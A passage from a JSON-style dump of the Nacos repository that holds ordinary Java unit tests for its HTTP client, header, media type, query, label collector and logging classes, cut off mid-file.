body);\n        HttpClientResponse actual = httpClientRequest.execute(uri, \"PUT\", httpEntity);\n        assertEquals(response, getActualResponse(actual));\n    }\n    \n    @Test\n    void testExecuteForFormWithConfig() throws Exception {\n        isForm = true;\n        withConfig = true;\n        Header header = Header.newInstance().addParam(HttpHeaderConsts.CONTENT_TYPE, MediaType.APPLICATION_FORM_URLENCODED);\n        Map<String, String> body = new HashMap<>();\n        body.put(\"test\", \"test\");\n        RequestHttpEntity httpEntity = new RequestHttpEntity(HttpClientConfig.builder().build(), header, Query.EMPTY, body);\n        HttpClientResponse actual = httpClientRequest.execute(uri, \"PUT\", httpEntity);\n        assertEquals(response, getActualResponse(actual));\n    }\n    \n    @Test\n    void testExecuteForOther() throws Exception {\n        Header header = Header.newInstance();\n        RequestHttpEntity httpEntity = new RequestHttpEntity(header, Query.EMPTY, \"body\");\n        HttpClientResponse actual = httpClientRequest.execute(uri, \"PUT\", httpEntity);\n        assertEquals(response, getActualResponse(actual));\n    }\n    \n    private SimpleHttpResponse getActualResponse(HttpClientResponse actual)\n            throws IllegalAccessException, NoSuchFieldException {\n        Field field = actual.getClass().getDeclaredField(\"response\");\n        field.setAccessible(true);\n        return (SimpleHttpResponse) field.get(actual);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/request/JdkHttpClientRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.request;\n\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.HttpUtils;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.io.OutputStream;\nimport java.lang.reflect.Field;\nimport java.net.HttpURLConnection;\nimport java.net.URI;\nimport java.net.URL;\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass JdkHttpClientRequestTest {\n    \n    JdkHttpClientRequest httpClientRequest;\n    \n    @Mock\n    private HttpURLConnection connection;\n    \n    @Mock\n    private URI uri;\n    \n    @Mock\n    private URL url;\n    \n    @Mock\n    private OutputStream outputStream;\n    \n    private HttpClientConfig httpClientConfig;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        when(uri.toURL()).thenReturn(url);\n        when(url.openConnection()).thenReturn(connection);\n        when(connection.getOutputStream()).thenReturn(outputStream);\n        httpClientConfig = HttpClientConfig.builder().build();\n        httpClientRequest = new JdkHttpClientRequest(httpClientConfig);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        httpClientRequest.close();\n    }\n    \n    @Test\n    void testExecuteNormal() throws Exception {\n        Header header = Header.newInstance();\n        HttpClientConfig config = HttpClientConfig.builder().build();\n        RequestHttpEntity httpEntity = new RequestHttpEntity(config, header, Query.EMPTY, \"a=bo&dy\");\n        HttpClientResponse response = httpClientRequest.execute(uri, \"GET\", httpEntity);\n        byte[] writeBytes = \"a=bo&dy\".getBytes(StandardCharsets.UTF_8);\n        verify(outputStream).write(writeBytes, 0, writeBytes.length);\n        assertEquals(connection, getActualConnection(response));\n    }\n    \n    @Test\n    void testExecuteForm() throws Exception {\n        Header header = Header.newInstance();\n        header.setContentType(MediaType.APPLICATION_FORM_URLENCODED);\n        HttpClientConfig config = HttpClientConfig.builder().build();\n        Map<String, String> body = new HashMap<>();\n        body.put(\"a\", \"bo&dy\");\n        RequestHttpEntity httpEntity = new RequestHttpEntity(config, header, Query.EMPTY, body);\n        HttpClientResponse response = httpClientRequest.execute(uri, \"GET\", httpEntity);\n        byte[] writeBytes = HttpUtils.encodingParams(body, StandardCharsets.UTF_8.name()).getBytes(StandardCharsets.UTF_8);\n        verify(outputStream).write(writeBytes, 0, writeBytes.length);\n        assertEquals(connection, getActualConnection(response));\n    }\n    \n    @Test\n    void testExecuteEmptyBody() throws Exception {\n        Header header = Header.newInstance();\n        RequestHttpEntity httpEntity = new RequestHttpEntity(header, Query.EMPTY);\n        HttpClientResponse response = httpClientRequest.execute(uri, \"GET\", httpEntity);\n        verify(outputStream, never()).write(any(), eq(0), anyInt());\n        assertEquals(connection, getActualConnection(response));\n        \n    }\n    \n    private HttpURLConnection getActualConnection(HttpClientResponse actual) throws IllegalAccessException, NoSuchFieldException {\n        Field field = actual.getClass().getDeclaredField(\"conn\");\n        field.setAccessible(true);\n        return (HttpURLConnection) field.get(actual);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/response/DefaultClientHttpResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.response;\n\nimport org.apache.hc.client5.http.async.methods.SimpleBody;\nimport org.apache.hc.client5.http.async.methods.SimpleHttpResponse;\nimport org.apache.hc.core5.http.Header;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass DefaultClientHttpResponseTest {\n    \n    DefaultClientHttpResponse clientHttpResponse;\n    \n    @Mock\n    private SimpleHttpResponse response;\n    \n    @Mock\n    private SimpleBody simpleBody;\n    \n    @Mock\n    private Header header;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        when(response.getBody()).thenReturn(simpleBody);\n        when(response.getHeaders()).thenReturn(new Header[] {header});\n        when(response.getReasonPhrase()).thenReturn(\"test\");\n        when(header.getName()).thenReturn(\"testName\");\n        when(header.getValue()).thenReturn(\"testValue\");\n        clientHttpResponse = new DefaultClientHttpResponse(response);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        clientHttpResponse.close();\n    }\n    \n    @Test\n    void testGetStatusCode() {\n        assertEquals(0, clientHttpResponse.getStatusCode());\n    }\n    \n    @Test\n    void testGetStatusText() {\n        assertEquals(\"test\", clientHttpResponse.getStatusText());\n    }\n    \n    @Test\n    void testGetHeaders() {\n        assertEquals(3, clientHttpResponse.getHeaders().getHeader().size());\n        assertEquals(\"testValue\", clientHttpResponse.getHeaders().getValue(\"testName\"));\n    }\n    \n    @Test\n    void testGetBody() throws IOException {\n        assertTrue(clientHttpResponse.getBody() instanceof ByteArrayInputStream);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/response/JdkClientHttpResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client.response;\n\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.utils.IoUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.HttpURLConnection;\nimport java.nio.charset.StandardCharsets;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass JdkClientHttpResponseTest {\n    \n    JdkHttpClientResponse clientHttpResponse;\n    \n    @Mock\n    private HttpURLConnection connection;\n    \n    @Mock\n    private InputStream inputStream;\n    \n    private Map<String, List<String>> headers;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        headers = new HashMap<>();\n        headers.put(\"testName\", Collections.singletonList(\"testValue\"));\n        when(connection.getHeaderFields()).thenReturn(headers);\n        clientHttpResponse = new JdkHttpClientResponse(connection);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        clientHttpResponse.close();\n    }\n    \n    @Test\n    void testGetStatusCode() throws IOException {\n        when(connection.getResponseCode()).thenReturn(200);\n        assertEquals(200, clientHttpResponse.getStatusCode());\n    }\n    \n    @Test\n    void testGetStatusText() throws IOException {\n        when(connection.getResponseMessage()).thenReturn(\"test\");\n        assertEquals(\"test\", clientHttpResponse.getStatusText());\n    }\n    \n    @Test\n    void testGetHeaders() {\n        assertEquals(3, clientHttpResponse.getHeaders().getHeader().size());\n        assertEquals(\"testValue\", clientHttpResponse.getHeaders().getValue(\"testName\"));\n    }\n    \n    @Test\n    void testGetBody() throws IOException {\n        when(connection.getInputStream()).thenReturn(inputStream);\n        assertEquals(inputStream, clientHttpResponse.getBody());\n    }\n    \n    @Test\n    void testGetBodyWithGzip() throws IOException {\n        byte[] testCase = IoUtils.tryCompress(\"test\", StandardCharsets.UTF_8.name());\n        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(testCase);\n        when(connection.getInputStream()).thenReturn(byteArrayInputStream);\n        headers.put(HttpHeaderConsts.CONTENT_ENCODING, Collections.singletonList(\"gzip\"));\n        assertEquals(\"test\", IoUtils.toString(clientHttpResponse.getBody(), StandardCharsets.UTF_8.name()));\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/param/HeaderTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.param;\n\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass HeaderTest {\n    \n    @Test\n    void testSetContentType() {\n        Header header = Header.newInstance();\n        header.setContentType(null);\n        assertEquals(MediaType.APPLICATION_JSON, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n        header.setContentType(MediaType.MULTIPART_FORM_DATA);\n        assertEquals(MediaType.MULTIPART_FORM_DATA, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testHeaderKyeIgnoreCase() {\n        Header header = Header.newInstance();\n        header.addParam(\"Content-Encoding\", \"gzip\");\n        assertEquals(\"gzip\", header.getValue(\"content-encoding\"));\n    }\n    \n    @Test\n    void testToList() {\n        Header header = Header.newInstance();\n        List<String> list = header.toList();\n        assertTrue(list.contains(HttpHeaderConsts.CONTENT_TYPE));\n        assertTrue(list.contains(MediaType.APPLICATION_JSON));\n        assertEquals(1, list.indexOf(MediaType.APPLICATION_JSON) - list.indexOf(HttpHeaderConsts.CONTENT_TYPE));\n        assertTrue(list.contains(HttpHeaderConsts.ACCEPT_CHARSET));\n        assertTrue(list.contains(\"UTF-8\"));\n        assertEquals(1, list.indexOf(\"UTF-8\") - list.indexOf(HttpHeaderConsts.ACCEPT_CHARSET));\n    }\n    \n    @Test\n    void testAddAllForMap() {\n        Map<String, String> map = new HashMap<>();\n        map.put(\"test1\", \"test2\");\n        map.put(\"test3\", \"test4\");\n        Header header = Header.newInstance();\n        header.addAll(map);\n        assertEquals(\"test2\", header.getValue(\"test1\"));\n        assertEquals(\"test4\", header.getValue(\"test3\"));\n        assertEquals(4, header.getHeader().size());\n    }\n    \n    @Test\n    void testAddAllForList() {\n        List<String> list = new ArrayList<>(4);\n        list.add(\"test1\");\n        list.add(\"test2\");\n        list.add(\"test3\");\n        list.add(\"test4\");\n        Header header = Header.newInstance();\n        header.addAll(list);\n        assertEquals(\"test2\", header.getValue(\"test1\"));\n        assertEquals(\"test4\", header.getValue(\"test3\"));\n        assertEquals(4, header.getHeader().size());\n    }\n    \n    @Test\n    void testAddAllForListWithWrongLength() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            List<String> list = new ArrayList<>(3);\n            list.add(\"test1\");\n            list.add(\"test2\");\n            list.add(\"test3\");\n            Header header = Header.newInstance();\n            header.addAll(list);\n        });\n    }\n    \n    @Test\n    void testAddOriginalResponseHeader() {\n        List<String> list = new ArrayList<>(4);\n        list.add(\"test1\");\n        list.add(\"test2\");\n        list.add(\"test3\");\n        list.add(\"test4\");\n        Header header = Header.newInstance();\n        header.addOriginalResponseHeader(\"test\", list);\n        assertEquals(\"test1\", header.getValue(\"test\"));\n        assertEquals(1, header.getOriginalResponseHeader().size());\n        assertEquals(list, header.getOriginalResponseHeader().get(\"test\"));\n    }\n    \n    @Test\n    void testGetCharset() {\n        Header header = Header.newInstance();\n        assertEquals(\"UTF-8\", header.getCharset());\n        header.addParam(HttpHeaderConsts.ACCEPT_CHARSET, null);\n        header.setContentType(MediaType.APPLICATION_JSON);\n        assertEquals(\"UTF-8\", header.getCharset());\n        header.setContentType(\"application/json;charset=GBK\");\n        assertEquals(\"GBK\", header.getCharset());\n        header.setContentType(\"application/json\");\n        assertEquals(\"UTF-8\", header.getCharset());\n        header.setContentType(\"\");\n        assertEquals(\"UTF-8\", header.getCharset());\n    }\n    \n    @Test\n    void testClear() {\n        Header header = Header.newInstance();\n        header.addOriginalResponseHeader(\"test\", Collections.singletonList(\"test\"));\n        assertEquals(3, header.getHeader().size());\n        assertEquals(1, header.getOriginalResponseHeader().size());\n        header.clear();\n        assertEquals(0, header.getHeader().size());\n        assertEquals(0, header.getOriginalResponseHeader().size());\n        assertEquals(\"Header{headerToMap={}}\", header.toString());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/param/MediaTypeTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.param;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\n/**\n * MediaTypeTest.\n *\n * @author mai.jh\n */\nclass MediaTypeTest {\n    \n    @Test\n    void testValueOf() {\n        MediaType mediaType = MediaType.valueOf(MediaType.APPLICATION_FORM_URLENCODED);\n        String type = \"application/x-www-form-urlencoded\";\n        String charset = \"UTF-8\";\n        assertEquals(type, mediaType.getType());\n        assertEquals(charset, mediaType.getCharset());\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, mediaType.toString());\n    }\n    \n    @Test\n    void testValueOf2() {\n        MediaType mediaType = MediaType.valueOf(MediaType.APPLICATION_FORM_URLENCODED, \"ISO-8859-1\");\n        String type = \"application/x-www-form-urlencoded\";\n        String charset = \"ISO-8859-1\";\n        String excepted = \"application/x-www-form-urlencoded;charset=ISO-8859-1\";\n        assertEquals(type, mediaType.getType());\n        assertEquals(charset, mediaType.getCharset());\n        assertEquals(excepted, mediaType.toString());\n    }\n    \n    @Test\n    void testValueOf3() {\n        MediaType mediaType = MediaType.valueOf(\"application/x-www-form-urlencoded\", \"ISO-8859-1\");\n        String type = \"application/x-www-form-urlencoded\";\n        String charset = \"ISO-8859-1\";\n        String excepted = \"application/x-www-form-urlencoded;charset=ISO-8859-1\";\n        assertEquals(type, mediaType.getType());\n        assertEquals(charset, mediaType.getCharset());\n        assertEquals(excepted, mediaType.toString());\n    }\n    \n    @Test\n    void testValueOfWithEmpty() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            MediaType.valueOf(\"\");\n        });\n    }\n    \n    @Test\n    void testValueOfWithEmpty2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            MediaType.valueOf(\"\", \"UTF-8\");\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/param/QueryTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.param;\n\nimport com.alibaba.nacos.api.naming.CommonParams;\nimport org.junit.jupiter.api.Test;\n\nimport java.net.URLEncoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.LinkedHashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass QueryTest {\n    \n    @Test\n    void testInitParams() {\n        Map<String, String> parameters = new LinkedHashMap<String, String>();\n        parameters.put(CommonParams.NAMESPACE_ID, \"namespace\");\n        parameters.put(CommonParams.SERVICE_NAME, \"service\");\n        parameters.put(CommonParams.GROUP_NAME, \"group\");\n        parameters.put(CommonParams.CLUSTER_NAME, null);\n        parameters.put(\"ip\", \"1.1.1.1\");\n        parameters.put(\"port\", String.valueOf(9999));\n        parameters.put(\"weight\", String.valueOf(1.0));\n        parameters.put(\"ephemeral\", String.valueOf(true));\n        String excepted = \"namespaceId=namespace&serviceName=service&groupName=group&ip=1.1.1.1&port=9999&weight=1.0&ephemeral=true\";\n        Query actual = Query.newInstance().initParams(parameters);\n        assertEquals(excepted, actual.toQueryUrl());\n        assertEquals(\"namespace\", actual.getValue(CommonParams.NAMESPACE_ID));\n    }\n    \n    @Test\n    void testAddParams() throws Exception {\n        Query query = Query.newInstance().addParam(\"key-1\", \"value-1\").addParam(\"key-2\", \"value-2\");\n        String s1 = query.toQueryUrl();\n        String s2 =\n                \"key-1=\" + URLEncoder.encode(\"value-1\", StandardCharsets.UTF_8.name()) + \"&key-2=\" + URLEncoder.encode(\"value-2\",\n                        StandardCharsets.UTF_8.name());\n        assertEquals(s2, s1);\n        assertEquals(\"value-1\", query.getValue(\"key-1\"));\n    }\n    \n    @Test\n    void testClear() {\n        Query query = Query.newInstance().addParam(\"key-1\", \"value-1\").addParam(\"key-2\", \"value-2\");\n        assertFalse(query.isEmpty());\n        assertEquals(\"value-1\", query.getValue(\"key-1\"));\n        query.clear();\n        assertTrue(query.isEmpty());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/labels/impl/DefaultLabelsCollectorManagerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.labels.impl;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n/**\n * description.\n *\n * @author rong\n * @date 2024-02-29 20:13\n */\nclass DefaultLabelsCollectorManagerTest {\n    \n    @Test\n    void tagV2LabelsCollectorTest() {\n        Properties properties = new Properties();\n        properties.put(Constants.APP_CONN_LABELS_KEY, \"k1=v1,gray=properties_pre\");\n        properties.put(Constants.CONFIG_GRAY_LABEL, \"properties_after\");\n        DefaultLabelsCollectorManager defaultLabelsCollectorManager = new DefaultLabelsCollectorManager();\n        Map<String, String> labels = defaultLabelsCollectorManager.getLabels(properties);\n        assertEquals(\"properties_after\", labels.get(Constants.CONFIG_GRAY_LABEL));\n        assertEquals(\"v1\", labels.get(\"k1\"));\n    }\n    \n    @Test\n    void tagV2LabelsCollectorOrderTest() {\n        Properties properties = new Properties();\n        DefaultLabelsCollectorManager defaultLabelsCollectorManager = new DefaultLabelsCollectorManager();\n        Map<String, String> labels = defaultLabelsCollectorManager.getLabels(properties);\n        String test = labels.get(\"test\");\n        assertEquals(\"test2\", test);\n    }\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/labels/impl/Test1LabelsCollector.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.labels.impl;\n\nimport com.alibaba.nacos.common.labels.LabelsCollector;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * Test1LabelsCollector.\n *\n * @author rong\n */\npublic class Test1LabelsCollector implements LabelsCollector {\n    \n    @Override\n    public String getName() {\n        return \"test1\";\n    }\n    \n    @Override\n    public Map<String, String> collectLabels(Properties properties) {\n        Map<String, String> labels = new HashMap<>();\n        labels.put(\"test\", getName());\n        return labels;\n    }\n    \n    @Override\n    public int getOrder() {\n        return 1;\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/labels/impl/Test2LabelsCollector.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.labels.impl;\n\nimport com.alibaba.nacos.common.labels.LabelsCollector;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * TagV1LabelsCollector.\n *\n * @author rong\n */\npublic class Test2LabelsCollector implements LabelsCollector {\n    \n    @Override\n    public String getName() {\n        return \"test2\";\n    }\n    \n    @Override\n    public Map<String, String> collectLabels(Properties properties) {\n        Map<String, String> labels = new HashMap<>();\n        labels.put(\"test\", getName());\n        return labels;\n    }\n    \n    @Override\n    public int getOrder() {\n        return 2;\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/logging/NacosLoggingPropertiesTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.logging;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass NacosLoggingPropertiesTest {\n    \n    NacosLoggingProperties loggingProperties;\n    \n    Properties properties;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        properties = new Properties();\n        loggingProperties = new NacosLoggingProperties(\"classpath:test.xml\", properties);\n    }\n    \n    @Test\n    void testGetLocationWithDefault() {\n        assertEquals(\"classpath:test.xml\", loggingProperties.getLocation());\n    }\n    \n    @Test\n    void testGetLocationWithoutDefault() {\n        properties.setProperty(\"nacos.logging.default.config.enabled\", \"false\");\n        assertNull(loggingProperties.getLocation());\n    }\n    \n    @Test\n    void testGetLocationForSpecified() {\n        properties.setProperty(\"nacos.logging.config\", \"classpath:specified-test.xml\");\n        properties.setProperty(\"nacos.logging.default.config.enabled\", \"false\");\n        assertEquals(\"classpath:specified-test.xml\", loggingProperties.getLocation());\n    }\n    \n    @Test\n    void testGetLocationForSpecifiedWithDefault() {\n        properties.setProperty(\"nacos.logging.config\", \"classpath:specified-test.xml\");\n        assertEquals(\"classpath:specified-test.xml\", loggingProperties.getLocation());\n    }\n    \n    @Test\n    void testGetReloadInternal() {\n        properties.setProperty(\"nacos.logging.reload.interval.seconds\", \"50000\");\n        assertEquals(50000L, loggingProperties.getReloadInternal());\n    }\n    \n    @Test\n    void testGetValue() {\n        properties.setProperty(\"test.key\", \"test.value\");\n        assertEquals(\"test.value\", loggingProperties.getValue(\"test.key\", \"default.value\"));\n        properties.clear();\n        assertEquals(\"default.value\", loggingProperties.getValue(\"test.key\", \"default.value\"));\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/model/RequestHttpEntityTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.model;\n\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.HashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static 